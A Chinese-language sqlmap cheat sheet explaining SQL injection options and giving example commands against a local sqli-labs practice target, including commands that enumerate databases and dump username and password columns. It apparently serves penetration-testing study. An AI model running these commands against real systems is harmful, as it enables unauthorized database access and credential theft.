SQLmap常用命令/使用教程

SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

检测位置

-u			-- 指定url(GET请求)
-p			-- 指定参数(url包含多个参数时,指定参数)
--data=		-- 指定POST请求参数
--cookie	-- 指定cookie参数
-r			-- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

--dbs		-- 获取数据库名
--tables	-- 获取表名
--columns	-- 获取字段名
--dump		-- 获取数据
-D	-- 指定数据库
-T	-- 指定表
-C	-- 指定字段

其他设置

--batch		-- 自动化确认
--tamper	-- 指定脚本
--dbms		-- 指定数据库类型
--os		-- 指定操作系统(windows/linux)
--level		-- 指定探测等级(1~5)
--current-db	-- 获取当前数据库的名字
-b	-- 获取数据库版本信息
-f	-- 获取数据库指纹
--users	-- 当前使用的用户
--delay	-- 设置延时
--technique	-- 指定注入方式
	U	联合注入
	E	报错注入
	B	布尔盲注
	T	时间盲注

针对不同的注入位置

GET请求注入

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3

sqlmap -r target.vm --level 3 --dbs

获取数据

获取所有数据库

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs

获取指定数据库中的所有表

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables

获取指定数据库中指定表的所有字段

sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns

获取指定数据库中指定表中指定字段的所有数据

sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump

HTTP Header头注入

1.拦截post请求信息,并将请求信息的全部内容复制到文件中,

2.在需要检测的Header位置添加*

3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测

SQLmap常用命令/使用教程_第1张图片

 

你可能感兴趣的:(网络安全面试题汇总,网络安全)